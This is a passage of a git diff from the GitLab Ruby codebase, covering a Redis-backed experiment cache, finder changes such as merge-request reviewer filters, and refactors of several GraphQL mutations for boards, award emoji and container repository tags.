+ when 'hash', 'none' then redis.del(key)
+ else raise ArgumentError, 'invalid call to clear a non-hash cache key'
+ end
+ end
+ end
+
+ private
+
+ def pool
+ raise ArgumentError, 'missing block' unless block_given?
+
+ Gitlab::Redis::SharedState.with { |redis| yield redis }
+ end
+
+ def hkey(key)
+ key.split(':') # this assumes the default strategy in gitlab-experiment
+ end
+
+ def read_entry(key, **options)
+ value = pool { |redis| redis.hget(*hkey(key)) }
+ value.nil? ? nil : ActiveSupport::Cache::Entry.new(value)
+ end
+
+ def write_entry(key, entry, **options)
+ return false unless Feature.enabled?(:caching_experiments)
+ return false if entry.value.blank? # don't cache any empty values
+
+ pool { |redis| redis.hset(*hkey(key), entry.value) }
+ end
+
+ def delete_entry(key, **options)
+ pool { |redis| redis.hdel(*hkey(key)) }
+ end
+ end
+end
diff --git a/app/finders/alert_management/alerts_finder.rb b/app/finders/alert_management/alerts_finder.rb
index 1d6f790af31..be3b329fb6f 100644
--- a/app/finders/alert_management/alerts_finder.rb
+++ b/app/finders/alert_management/alerts_finder.rb
@@ -18,6 +18,7 @@ module AlertManagement
return AlertManagement::Alert.none unless authorized?
collection = project.alert_management_alerts
+ collection = by_domain(collection)
collection = by_status(collection)
collection = by_iid(collection)
collection = by_assignee(collection)
@@ -30,6 +31,10 @@ module AlertManagement
attr_reader :current_user, :project, :params
+ def by_domain(collection)
+ collection.with_operations_alerts
+ end
+
def by_iid(collection)
return collection unless params[:iid]
@@ -59,3 +64,5 @@ module AlertManagement
end
end
end
+
+AlertManagement::AlertsFinder.prepend_if_ee('EE::AlertManagement::AlertsFinder')
diff --git a/app/finders/ci/daily_build_group_report_results_finder.rb b/app/finders/ci/daily_build_group_report_results_finder.rb
index ec41d9d2c45..ef97ccb4c0f 100644
--- a/app/finders/ci/daily_build_group_report_results_finder.rb
+++ b/app/finders/ci/daily_build_group_report_results_finder.rb
@@ -4,7 +4,7 @@ module Ci
class DailyBuildGroupReportResultsFinder
include Gitlab::Allowable
- def initialize(current_user:, project:, ref_path:, start_date:, end_date:, limit: nil)
+ def initialize(current_user:, project:, ref_path: nil, start_date:, end_date:, limit: nil)
@current_user = current_user
@project = project
@ref_path = ref_path
@@ -35,11 +35,18 @@ module Ci
end
def query_params
- {
+ params = {
project_id: project,
- ref_path: ref_path,
date: start_date..end_date
}
+
+ if ref_path.present?
+ params[:ref_path] = ref_path
+ else
+ params[:default_branch] = true
+ end
+
+ params
end
def none
diff --git a/app/finders/ci/pipelines_finder.rb b/app/finders/ci/pipelines_finder.rb
index 7347a83d294..a77faebb160 100644
--- a/app/finders/ci/pipelines_finder.rb
+++ b/app/finders/ci/pipelines_finder.rb
@@ -18,7 +18,9 @@ module Ci
return Ci::Pipeline.none
end
- items = pipelines.no_child
+ items = pipelines
+ items = items.no_child unless params[:iids].present?
+ items = by_iids(items)
items = by_scope(items)
items = by_status(items)
items = by_ref(items)
@@ -52,6 +54,14 @@ module Ci
project.repository.tag_names
end
+ def by_iids(items)
+ if params[:iids].present?
+ items.for_iid(params[:iids])
+ else
+ items
+ end
+ end
+
def by_scope(items)
case params[:scope]
when 'running'
diff --git a/app/finders/ci/pipelines_for_merge_request_finder.rb b/app/finders/ci/pipelines_for_merge_request_finder.rb
index 93d139652b9..da8dfc2579a 100644
--- a/app/finders/ci/pipelines_for_merge_request_finder.rb
+++ b/app/finders/ci/pipelines_for_merge_request_finder.rb
@@ -5,8 +5,6 @@ module Ci
class PipelinesForMergeRequestFinder
include Gitlab::Utils::StrongMemoize
- EVENT = 'merge_request_event'
-
def initialize(merge_request, current_user)
@merge_request = merge_request
@current_user = current_user
@@ -36,7 +34,11 @@ module Ci
pipelines =
if merge_request.persisted?
- pipelines_using_cte
+ if Feature.enabled?(:ci_pipelines_for_merge_request_finder_new_cte, target_project)
+ pipelines_using_cte
+ else
+ pipelines_using_legacy_cte
+ end
else
triggered_for_branch.for_sha(commit_shas)
end
@@ -47,7 +49,7 @@ module Ci
private
- def pipelines_using_cte
+ def pipelines_using_legacy_cte
cte = Gitlab::SQL::CTE.new(:shas, merge_request.all_commits.select(:sha))
source_sha_join = cte.table[:sha].eq(Ci::Pipeline.arel_table[:source_sha])
@@ -59,6 +61,16 @@ module Ci
.from_union([merged_result_pipelines, detached_merge_request_pipelines, pipelines_for_branch])
end
+ def pipelines_using_cte
+ cte = Gitlab::SQL::CTE.new(:shas, merge_request.all_commits.select(:sha))
+
+ pipelines_for_merge_requests = triggered_by_merge_request
+ pipelines_for_branch = filter_by_sha(triggered_for_branch, cte)
+
+ Ci::Pipeline.with(cte.to_arel) # rubocop: disable CodeReuse/ActiveRecord
+ .from_union([pipelines_for_merge_requests, pipelines_for_branch])
+ end
+
def filter_by_sha(pipelines, cte)
hex = Arel::Nodes::SqlLiteral.new("'hex'")
string_sha = Arel::Nodes::NamedFunction.new('encode', [cte.table[:sha], hex])
@@ -84,14 +96,7 @@ module Ci
end
def triggered_for_branch
- source_project.ci_pipelines
- .where(source: branch_pipeline_sources, ref: source_branch, tag: false) # rubocop: disable CodeReuse/ActiveRecord
- end
-
- def branch_pipeline_sources
- strong_memoize(:branch_pipeline_sources) do
- Ci::Pipeline.sources.reject { |source| source == EVENT }.values
- end
+ source_project.all_pipelines.ci_branch_sources.for_branch(source_branch)
end
def sort(pipelines)
diff --git a/app/finders/feature_flags_finder.rb b/app/finders/feature_flags_finder.rb
index 9cb3bf7fa23..7b38841970d 100644
--- a/app/finders/feature_flags_finder.rb
+++ b/app/finders/feature_flags_finder.rb
@@ -24,11 +24,7 @@ class FeatureFlagsFinder
private
def feature_flags
- if Feature.enabled?(:feature_flags_new_version, project, default_enabled: true)
- project.operations_feature_flags
- else
- project.operations_feature_flags.legacy_flag
- end
+ project.operations_feature_flags
end
def by_scope(items)
diff --git a/app/finders/group_descendants_finder.rb b/app/finders/group_descendants_finder.rb
index 1f6829a97d6..18ccea330af 100644
--- a/app/finders/group_descendants_finder.rb
+++ b/app/finders/group_descendants_finder.rb
@@ -176,7 +176,7 @@ class GroupDescendantsFinder
end
def sort
- params.fetch(:sort, 'created_desc')
+ params.fetch(:sort, 'name_asc')
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/finders/group_members_finder.rb b/app/finders/group_members_finder.rb
index 09283f061c0..2417b1e0771 100644
--- a/app/finders/group_members_finder.rb
+++ b/app/finders/group_members_finder.rb
@@ -1,6 +1,9 @@
# frozen_string_literal: true
class GroupMembersFinder < UnionFinder
+ RELATIONS = %i(direct inherited descendants).freeze
+ DEFAULT_RELATIONS = %i(direct inherited).freeze
+
include CreatedAtFilter
# Params can be any of the following:
@@ -17,11 +20,11 @@ class GroupMembersFinder < UnionFinder
@params = params
end
- def execute(include_relations: [:inherited, :direct])
+ def execute(include_relations: DEFAULT_RELATIONS)
group_members = group_members_list
relations = []
- return group_members if include_relations == [:direct]
+ return filter_members(group_members) if include_relations == [:direct]
relations << group_members if include_relations.include?(:direct)
diff --git a/app/finders/issuable_finder.rb b/app/finders/issuable_finder.rb
index d431c3e3699..922b53b514d 100644
--- a/app/finders/issuable_finder.rb
+++ b/app/finders/issuable_finder.rb
@@ -339,15 +339,6 @@ class IssuableFinder
cte << items
items = klass.with(cte.to_arel).from(klass.table_name)
- elsif Feature.enabled?(:pg_hint_plan_for_issuables, params.project)
- items = items.optimizer_hints(<<~HINTS)
- BitmapScan(
- issues idx_issues_on_project_id_and_created_at_and_id_and_state_id
- idx_issues_on_project_id_and_due_date_and_id_and_state_id
- idx_issues_on_project_id_and_updated_at_and_id_and_state_id
- index_issues_on_project_id_and_iid
- )
- HINTS
end
items.full_search(search, matched_columns: params[:in], use_minimum_char_limit: !use_cte_for_search?)
diff --git a/app/finders/issuable_finder/params.rb b/app/finders/issuable_finder/params.rb
index 8a194f34f74..b481afee338 100644
--- a/app/finders/issuable_finder/params.rb
+++ b/app/finders/issuable_finder/params.rb
@@ -257,6 +257,10 @@ class IssuableFinder
params.merge!(other)
end
+ def parent
+ project || group
+ end
+
private
def projects_public_or_visible_to_user
diff --git a/app/finders/members_finder.rb b/app/finders/members_finder.rb
index 013ed03a789..1ff2ad01b63 100644
--- a/app/finders/members_finder.rb
+++ b/app/finders/members_finder.rb
@@ -1,6 +1,9 @@
# frozen_string_literal: true
class MembersFinder
+ RELATIONS = %i(direct inherited descendants invited_groups).freeze
+ DEFAULT_RELATIONS = %i(direct inherited).freeze
+
# Params can be any of the following:
# sort: string
# search: string
@@ -13,7 +16,7 @@ class MembersFinder
@params = params
end
- def execute(include_relations: [:inherited, :direct])
+ def execute(include_relations: DEFAULT_RELATIONS)
members = find_members(include_relations)
filter_members(members)
@@ -56,7 +59,7 @@ class MembersFinder
def group_union_members(include_relations)
[].tap do |members|
members << direct_group_members(include_relations.include?(:descendants)) if group
- members << project_invited_groups_members if include_relations.include?(:invited_groups_members)
+ members << project_invited_groups if include_relations.include?(:invited_groups)
end
end
@@ -66,7 +69,7 @@ class MembersFinder
GroupMembersFinder.new(group).execute(include_relations: requested_relations).non_invite.non_minimal_access # rubocop: disable CodeReuse/Finder
end
- def project_invited_groups_members
+ def project_invited_groups
invited_groups_ids_including_ancestors = Gitlab::ObjectHierarchy
.new(project.invited_groups)
.base_and_ancestors
diff --git a/app/finders/merge_requests_finder.rb b/app/finders/merge_requests_finder.rb
index 1f847b09752..978550aedaf 100644
--- a/app/finders/merge_requests_finder.rb
+++ b/app/finders/merge_requests_finder.rb
@@ -41,6 +41,8 @@ class MergeRequestsFinder < IssuableFinder
:environment,
:merged_after,
:merged_before,
+ :reviewer_id,
+ :reviewer_username,
:target_branch,
:wip
]
@@ -54,6 +56,10 @@ class MergeRequestsFinder < IssuableFinder
MergeRequest
end
+ def params_class
+ MergeRequestsFinder::Params
+ end
+
def filter_items(_items)
items = by_commit(super)
items = by_source_branch(items)
@@ -62,12 +68,14 @@ class MergeRequestsFinder < IssuableFinder
items = by_merged_at(items)
items = by_approvals(items)
items = by_deployments(items)
+ items = by_reviewer(items)
by_source_project_id(items)
end
def filter_negated_items(items)
items = super(items)
+ items = by_negated_reviewer(items)
by_negated_target_branch(items)
end
@@ -186,6 +194,30 @@ class MergeRequestsFinder < IssuableFinder
items.where_exists(deploys)
end
+
+ def by_reviewer(items)
+ return items unless params.reviewer_id? || params.reviewer_username?
+
+ if params.filter_by_no_reviewer?
+ items.no_review_requested
+ elsif params.filter_by_any_reviewer?
+ items.review_requested
+ elsif params.reviewer
+ items.review_requested_to(params.reviewer)
+ else # reviewer not found
+ items.none
+ end
+ end
+
+ def by_negated_reviewer(items)
+ return items unless not_params.reviewer_id? || not_params.reviewer_username?
+
+ if not_params.reviewer.present?
+ items.no_review_requested_to(not_params.reviewer)
+ else # reviewer not found
+ items.none
+ end
+ end
end
MergeRequestsFinder.prepend_if_ee('EE::MergeRequestsFinder')
diff --git a/app/finders/merge_requests_finder/params.rb b/app/finders/merge_requests_finder/params.rb
new file mode 100644
index 00000000000..e44e96054d3
--- /dev/null
+++ b/app/finders/merge_requests_finder/params.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class MergeRequestsFinder
+ class Params < IssuableFinder::Params
+ def filter_by_no_reviewer?
+ params[:reviewer_id].to_s.downcase == FILTER_NONE
+ end
+
+ def filter_by_any_reviewer?
+ params[:reviewer_id].to_s.downcase == FILTER_ANY
+ end
+
+ def reviewer
+ strong_memoize(:reviewer) do
+ if reviewer_id?
+ User.find_by_id(params[:reviewer_id])
+ elsif reviewer_username?
+ User.find_by_username(params[:reviewer_username])
+ else
+ nil
+ end
+ end
+ end
+ end
+end
diff --git a/app/finders/releases/evidence_pipeline_finder.rb b/app/finders/releases/evidence_pipeline_finder.rb
new file mode 100644
index 00000000000..2e706087feb
--- /dev/null
+++ b/app/finders/releases/evidence_pipeline_finder.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Releases
+ class EvidencePipelineFinder
+ include Gitlab::Utils::StrongMemoize
+
+ attr_reader :project, :params
+
+ def initialize(project, params = {})
+ @project = project
+ @params = params
+ end
+
+ def execute
+ # TODO: remove this with the release creation moved to it's own form https://gitlab.com/gitlab-org/gitlab/-/issues/214245
+ return params[:evidence_pipeline] if params[:evidence_pipeline]
+
+ sha = existing_tag&.dereferenced_target&.sha
+ sha ||= repository&.commit(ref)&.sha
+
+ return unless sha
+
+ project.ci_pipelines.for_sha(sha).last
+ end
+
+ private
+
+ def repository
+ strong_memoize(:repository) do
+ project.repository
+ end
+ end
+
+ def existing_tag
+ repository.find_tag(tag_name)
+ end
+
+ def tag_name
+ params[:tag]
+ end
+
+ def ref
+ params[:ref]
+ end
+ end
+end
diff --git a/app/graphql/mutations/alert_management/base.rb b/app/graphql/mutations/alert_management/base.rb
index 81d5ee95f06..8c6b4005cf8 100644
--- a/app/graphql/mutations/alert_management/base.rb
+++ b/app/graphql/mutations/alert_management/base.rb
@@ -11,7 +11,7 @@ module Mutations
argument :iid, GraphQL::STRING_TYPE,
required: true,
- description: "The iid of the alert to mutate"
+ description: "The IID of the alert to mutate"
field :alert,
Types::AlertManagement::AlertType,
diff --git a/app/graphql/mutations/alert_management/create_alert_issue.rb b/app/graphql/mutations/alert_management/create_alert_issue.rb
index 2ddb94700c2..2c128e1b339 100644
--- a/app/graphql/mutations/alert_management/create_alert_issue.rb
+++ b/app/graphql/mutations/alert_management/create_alert_issue.rb
@@ -10,6 +10,7 @@ module Mutations
result = create_alert_issue(alert, current_user)
track_usage_event(:incident_management_incident_created, current_user.id)
+ track_usage_event(:incident_management_alert_create_incident, current_user.id)
prepare_response(alert, result)
end
diff --git a/app/graphql/mutations/alert_management/http_integration/destroy.rb b/app/graphql/mutations/alert_management/http_integration/destroy.rb
index 0f478760aab..45d4bd778da 100644
--- a/app/graphql/mutations/alert_management/http_integration/destroy.rb
+++ b/app/graphql/mutations/alert_management/http_integration/destroy.rb
@@ -8,7 +8,7 @@ module Mutations
argument :id, Types::GlobalIDType[::AlertManagement::HttpIntegration],
required: true,
- description: "The id of the integration to remove"
+ description: "The ID of the integration to remove"
def resolve(id:)
integration = authorized_find!(id: id)
diff --git a/app/graphql/mutations/alert_management/http_integration/reset_token.rb b/app/graphql/mutations/alert_management/http_integration/reset_token.rb
index eefab156825..3938b38260e 100644
--- a/app/graphql/mutations/alert_management/http_integration/reset_token.rb
+++ b/app/graphql/mutations/alert_management/http_integration/reset_token.rb
@@ -8,7 +8,7 @@ module Mutations
argument :id, Types::GlobalIDType[::AlertManagement::HttpIntegration],
required: true,
- description: "The id of the integration to mutate"
+ description: "The ID of the integration to mutate"
def resolve(id:)
integration = authorized_find!(id: id)
diff --git a/app/graphql/mutations/alert_management/http_integration/update.rb b/app/graphql/mutations/alert_management/http_integration/update.rb
index 309c45b04ac..98e0f7eb14f 100644
--- a/app/graphql/mutations/alert_management/http_integration/update.rb
+++ b/app/graphql/mutations/alert_management/http_integration/update.rb
@@ -8,7 +8,7 @@ module Mutations
argument :id, Types::GlobalIDType[::AlertManagement::HttpIntegration],
required: true,
- description: "The id of the integration to mutate"
+ description: "The ID of the integration to mutate"
argument :name, GraphQL::STRING_TYPE,
required: false,
diff --git a/app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb b/app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb
index 745ac51f6e3..effecd8364d 100644
--- a/app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb
+++ b/app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb
@@ -8,7 +8,7 @@ module Mutations
argument :id, Types::GlobalIDType[::PrometheusService],
required: true,
- description: "The id of the integration to mutate"
+ description: "The ID of the integration to mutate"
def resolve(id:)
integration = authorized_find!(id: id)
diff --git a/app/graphql/mutations/alert_management/prometheus_integration/update.rb b/app/graphql/mutations/alert_management/prometheus_integration/update.rb
index 1f0dea119c5..46f4c23b739 100644
--- a/app/graphql/mutations/alert_management/prometheus_integration/update.rb
+++ b/app/graphql/mutations/alert_management/prometheus_integration/update.rb
@@ -8,7 +8,7 @@ module Mutations
argument :id, Types::GlobalIDType[::PrometheusService],
required: true,
- description: "The id of the integration to mutate"
+ description: "The ID of the integration to mutate"
argument :active, GraphQL::BOOLEAN_TYPE,
required: false,
diff --git a/app/graphql/mutations/award_emojis/add.rb b/app/graphql/mutations/award_emojis/add.rb
index 856fdd5fb14..e7ee2ec4fad 100644
--- a/app/graphql/mutations/award_emojis/add.rb
+++ b/app/graphql/mutations/award_emojis/add.rb
@@ -8,8 +8,6 @@ module Mutations
def resolve(args)
awardable = authorized_find!(id: args[:awardable_id])
- check_object_is_awardable!(awardable)
-
service = ::AwardEmojis::AddService.new(awardable, args[:name], current_user).execute
{
diff --git a/app/graphql/mutations/award_emojis/base.rb b/app/graphql/mutations/award_emojis/base.rb
index df6b883529e..4bd8304c3fc 100644
--- a/app/graphql/mutations/award_emojis/base.rb
+++ b/app/graphql/mutations/award_emojis/base.rb
@@ -3,12 +3,16 @@
module Mutations
module AwardEmojis
class Base < BaseMutation
+ include ::Mutations::FindsByGid
+
+ NOT_EMOJI_AWARDABLE = 'You cannot award emoji to this resource.'
+
authorize :award_emoji
argument :awardable_id,
::Types::GlobalIDType[::Awardable],
required: true,
- description: 'The global id of the awardable resource'
+ description: 'The global ID of the awardable resource'
argument :name,
GraphQL::STRING_TYPE,
@@ -22,20 +26,15 @@ module Mutations
private
+ # TODO: remove this method when the compatibility layer is removed
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
def find_object(id:)
- # TODO: remove this line when the compatibility layer is removed
- # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
- id = ::Types::GlobalIDType[::Awardable].coerce_isolated_input(id)
- GitlabSchema.find_by_gid(id)
+ super(id: ::Types::GlobalIDType[::Awardable].coerce_isolated_input(id))
end
- # Called by mutations methods after performing an authorization check
- # of an awardable object.
- def check_object_is_awardable!(object)
- unless object.is_a?(Awardable) && object.emoji_awardable?
- raise Gitlab::Graphql::Errors::ResourceNotAvailable,
- 'Cannot award emoji to this resource'
- end
+ def authorize!(object)
+ super
+ raise_resource_not_available_error!(NOT_EMOJI_AWARDABLE) unless object.emoji_awardable?
end
end
end
diff --git a/app/graphql/mutations/award_emojis/remove.rb b/app/graphql/mutations/award_emojis/remove.rb
index c654688c6dc..a9655daeea7 100644
--- a/app/graphql/mutations/award_emojis/remove.rb
+++ b/app/graphql/mutations/award_emojis/remove.rb
@@ -8,8 +8,6 @@ module Mutations
def resolve(args)
awardable = authorized_find!(id: args[:awardable_id])
- check_object_is_awardable!(awardable)
-
service = ::AwardEmojis::DestroyService.new(awardable, args[:name], current_user).execute
{
diff --git a/app/graphql/mutations/award_emojis/toggle.rb b/app/graphql/mutations/award_emojis/toggle.rb
index 679ec7a14ff..e741f972b1b 100644
--- a/app/graphql/mutations/award_emojis/toggle.rb
+++ b/app/graphql/mutations/award_emojis/toggle.rb
@@ -12,8 +12,6 @@ module Mutations
def resolve(args)
awardable = authorized_find!(id: args[:awardable_id])
- check_object_is_awardable!(awardable)
-
service = ::AwardEmojis::ToggleService.new(awardable, args[:name], current_user).execute
toggled_on = awardable.awarded_emoji?(args[:name], current_user)
diff --git a/app/graphql/mutations/boards/common_mutation_arguments.rb b/app/graphql/mutations/boards/common_mutation_arguments.rb
new file mode 100644
index 00000000000..c4f8d299318
--- /dev/null
+++ b/app/graphql/mutations/boards/common_mutation_arguments.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Boards
+ module CommonMutationArguments
+ extend ActiveSupport::Concern
+
+ included do
+ argument :name,
+ GraphQL::STRING_TYPE,
+ required: false,
+ description: 'The board name.'
+ argument :hide_backlog_list,
+ GraphQL::BOOLEAN_TYPE,
+ required: false,
+ description: copy_field_description(Types::BoardType, :hide_backlog_list)
+ argument :hide_closed_list,
+ GraphQL::BOOLEAN_TYPE,
+ required: false,
+ description: copy_field_description(Types::BoardType, :hide_closed_list)
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/boards/create.rb b/app/graphql/mutations/boards/create.rb
index ebbd19930ec..92bce557446 100644
--- a/app/graphql/mutations/boards/create.rb
+++ b/app/graphql/mutations/boards/create.rb
@@ -7,36 +7,18 @@ module Mutations
graphql_name 'CreateBoard'
+ include Mutations::Boards::CommonMutationArguments
+
field :board,
Types::BoardType,
null: true,
description: 'The board after mutation.'
- argument :name,
- GraphQL::STRING_TYPE,
- required: false,
- description: 'The board name.'
- argument :assignee_id,
- GraphQL::STRING_TYPE,
- required: false,
- description: 'The ID of the user to be assigned to the board.'
- argument :milestone_id,
- Types::GlobalIDType[Milestone],
- required: false,
- description: 'The ID of the milestone to be assigned to the board.'
- argument :weight,
- GraphQL::BOOLEAN_TYPE,
- required: false,
- description: 'The weight of the board.'
- argument :label_ids,
- [Types::GlobalIDType[Label]],
- required: false,
- description: 'The IDs of labels to be added to the board.'
-
authorize :admin_board
def resolve(args)
board_parent = authorized_resource_parent_find!(args)
+
response = ::Boards::CreateService.new(board_parent, current_user, args).execute
{
@@ -47,3 +29,5 @@ module Mutations
end
end
end
+
+Mutations::Boards::Create.prepend_if_ee('::EE::Mutations::Boards::Create')
diff --git a/app/graphql/mutations/boards/lists/create.rb b/app/graphql/mutations/boards/lists/create.rb
index 3fe1052315f..f6df63365b2 100644
--- a/app/graphql/mutations/boards/lists/create.rb
+++ b/app/graphql/mutations/boards/lists/create.rb
@@ -27,30 +27,16 @@ module Mutations
board = authorized_find!(id: args[:board_id])
params = create_list_params(args)
- authorize_list_type_resource!(board, params)
-
- list = create_list(board, params)
+ response = create_list(board, params)
{
- list: list.valid? ? list : nil,
- errors: errors_on_object(list)
+ list: response.success? ? response.payload[:list] : nil,
+ errors: response.errors
}
end
private
- # Overridden in EE
- def authorize_list_type_resource!(board, params)
- return unless params[:label_id]
-
- labels = ::Labels::AvailableLabelsService.new(current_user, board.resource_parent, params)
- .filter_labels_ids_in_param(:label_id)
-
- unless labels.present?
- raise Gitlab::Graphql::Errors::ArgumentError, 'Label not found!'
- end
- end
-
def create_list(board, params)
create_list_service =
::Boards::Lists::CreateService.new(board.resource_parent, current_user, params)
diff --git a/app/graphql/mutations/boards/update.rb b/app/graphql/mutations/boards/update.rb
new file mode 100644
index 00000000000..5cb434e41fd
--- /dev/null
+++ b/app/graphql/mutations/boards/update.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Boards
+ class Update < ::Mutations::BaseMutation
+ graphql_name 'UpdateBoard'
+
+ include Mutations::Boards::CommonMutationArguments
+
+ argument :id,
+ ::Types::GlobalIDType[::Board],
+ required: true,
+ description: 'The board global ID.'
+
+ field :board,
+ Types::BoardType,
+ null: true,
+ description: 'The board after mutation.'
+
+ authorize :admin_board
+
+ def resolve(id:, **args)
+ board = authorized_find!(id: id)
+
+ ::Boards::UpdateService.new(board.resource_parent, current_user, args).execute(board)
+
+ {
+ board: board,
+ errors: errors_on_object(board)
+ }
+ end
+
+ def find_object(id:)
+ # TODO: remove this line when the compatibility layer is removed
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
+ id = ::Types::GlobalIDType[::Board].coerce_isolated_input(id)
+ GitlabSchema.find_by_gid(id)
+ end
+ end
+ end
+end
+
+Mutations::Boards::Update.prepend_if_ee('::EE::Mutations::Boards::Update')
diff --git a/app/graphql/mutations/ci/base.rb b/app/graphql/mutations/ci/base.rb
index aaece2a3021..0ccee5661b7 100644
--- a/app/graphql/mutations/ci/base.rb
+++ b/app/graphql/mutations/ci/base.rb
@@ -7,7 +7,7 @@ module Mutations
argument :id, PipelineID,
required: true,
- description: 'The id of the pipeline to mutate'
+ description: 'The ID of the pipeline to mutate'
private
diff --git a/app/graphql/mutations/concerns/mutations/finds_by_gid.rb b/app/graphql/mutations/concerns/mutations/finds_by_gid.rb
new file mode 100644
index 00000000000..157f87a413d
--- /dev/null
+++ b/app/graphql/mutations/concerns/mutations/finds_by_gid.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Mutations
+ module FindsByGid
+ def find_object(id:)
+ GitlabSchema.find_by_gid(id)
+ end
+ end
+end
diff --git a/app/graphql/mutations/container_repositories/destroy.rb b/app/graphql/mutations/container_repositories/destroy.rb
index 8312193147f..90fba66e7b3 100644
--- a/app/graphql/mutations/container_repositories/destroy.rb
+++ b/app/graphql/mutations/container_repositories/destroy.rb
@@ -2,9 +2,7 @@
module Mutations
module ContainerRepositories
- class Destroy < Mutations::BaseMutation
- include ::Mutations::PackageEventable
-
+ class Destroy < ::Mutations::ContainerRepositories::DestroyBase
graphql_name 'DestroyContainerRepository'
authorize :destroy_container_image
@@ -31,15 +29,6 @@ module Mutations
errors: []
}
end
-
- private
-
- def find_object(id:)
- # TODO: remove this line when the compatibility layer is removed
- # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
- id = ::Types::GlobalIDType[::ContainerRepository].coerce_isolated_input(id)
- GitlabSchema.find_by_gid(id)
- end
end
end
end
diff --git a/app/graphql/mutations/container_repositories/destroy_base.rb b/app/graphql/mutations/container_repositories/destroy_base.rb
new file mode 100644
index 00000000000..ddaa6c52121
--- /dev/null
+++ b/app/graphql/mutations/container_repositories/destroy_base.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Mutations
+ module ContainerRepositories
+ class DestroyBase < Mutations::BaseMutation
+ include ::Mutations::PackageEventable
+
+ private
+
+ def find_object(id:)
+ # TODO: remove this line when the compatibility layer is removed
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
+ id = ::Types::GlobalIDType[::ContainerRepository].coerce_isolated_input(id)
+ GitlabSchema.find_by_gid(id)
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/container_repositories/destroy_tags.rb b/app/graphql/mutations/container_repositories/destroy_tags.rb
new file mode 100644
index 00000000000..ca6a67867c3
--- /dev/null
+++ b/app/graphql/mutations/container_repositories/destroy_tags.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module Mutations
+ module ContainerRepositories
+ class DestroyTags < ::Mutations::ContainerRepositories::DestroyBase
+ LIMIT = 20.freeze
+
+ TOO_MANY_TAGS_ERROR_MESSAGE = "Number of tags is greater than #{LIMIT}"
+
+ graphql_name 'DestroyContainerRepositoryTags'
+
+ authorize :destroy_container_image
+
+ argument :id,
+ ::Types::GlobalIDType[::ContainerRepository],
+ required: true,
+ description: 'ID of the container repository.'
+
+ argument :tag_names,
+ [GraphQL::STRING_TYPE],
+ required: true,
+ description: "Container repository tag(s) to delete. Total number can't be greater than #{LIMIT}",
+ prepare: ->(tag_names, _) do
+ raise Gitlab::Graphql::Errors::ArgumentError, TOO_MANY_TAGS_ERROR_MESSAGE if tag_names.size > LIMIT
+
+ tag_names
+ end
+
+ field :deleted_tag_names,
+ [GraphQL::STRING_TYPE],
+ description: 'Deleted container repository tags',
+ null: false
+
+ def resolve(id:, tag_names:)
+ container_repository = authorized_find!(id: id)
+
+ result = ::Projects::ContainerRepository::DeleteTagsService
+ .new(container_repository.project, current_user, tags: tag_names)
+ .execute(container_repository)
+
+ track_event(:delete_tag_bulk, :tag) if result[:status] == :success
+
+ {
+ errors: Array(result[:message]),
+ deleted_tag_names: result[:deleted] || []
+ }
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/design_management/base.rb b/app/graphql/mutations/design_management/base.rb
index 918e5709b94..69fd22e46cd 100644
--- a/app/graphql/mutations/design_management/base.rb
+++ b/app/graphql/mutations/design_management/base.rb
@@ -11,7 +11,7 @@ module Mutations
argument :iid, GraphQL::ID_TYPE,
required: true,
- description: "The iid of the issue to modify designs for"
+ description: "The IID of the issue to modify designs for"
private
diff --git a/app/graphql/mutations/discussions/toggle_resolve.rb b/app/graphql/mutations/discussions/toggle_resolve.rb
index 4492da74706..0e3baf8d548 100644
--- a/app/graphql/mutations/discussions/toggle_resolve.rb
+++ b/app/graphql/mutations/discussions/toggle_resolve.rb
@@ -10,7 +10,7 @@ module Mutations
argument :id,
Types::GlobalIDType[Discussion],
required: true,
- description: 'The global id of the discussion'
+ description: 'The global ID of the discussion'
argument :resolve,
GraphQL::BOOLEAN_TYPE,
diff --git a/app/graphql/mutations/environments/canary_ingress/update.rb b/app/graphql/mutations/environments/canary_ingress/update.rb
new file mode 100644
index 00000000000..1798143053a
--- /dev/null
+++ b/app/graphql/mutations/environments/canary_ingress/update.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Environments
+ module CanaryIngress
+ class Update < ::Mutations::BaseMutation
+ graphql_name 'EnvironmentsCanaryIngressUpdate'
+
+ authorize :update_environment
+
+ argument :id,
+ ::Types::GlobalIDType[::Environment],
+ required: true,
+ description: 'The global ID of the environment to update'
+
+ argument :weight,
+ GraphQL::INT_TYPE,
+ required: true,
+ description: 'The weight of the Canary Ingress'
+
+ def resolve(id:, **kwargs)
+ environment = authorized_find!(id: id)
+
+ result = ::Environments::CanaryIngress::UpdateService
+ .new(environment.project, current_user, kwargs)
+ .execute_async(environment)
+
+ { errors: Array.wrap(result[:message]) }
+ end
+
+ def find_object(id:)
+ # TODO: remove as part of https://gitlab.com/gitlab-org/gitlab/-/issues/257883
+ id = ::Types::GlobalIDType[::Environment].coerce_isolated_input(id)
+ GitlabSchema.find_by_gid(id)
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/issues/update.rb b/app/graphql/mutations/issues/update.rb
index 9b216b31f9b..d34e351b2a6 100644
--- a/app/graphql/mutations/issues/update.rb
+++ b/app/graphql/mutations/issues/update.rb
@@ -11,7 +11,7 @@ module Mutations
required: false,
description: copy_field_description(Types::IssueType, :title)
- argument :milestone_id, GraphQL::ID_TYPE,
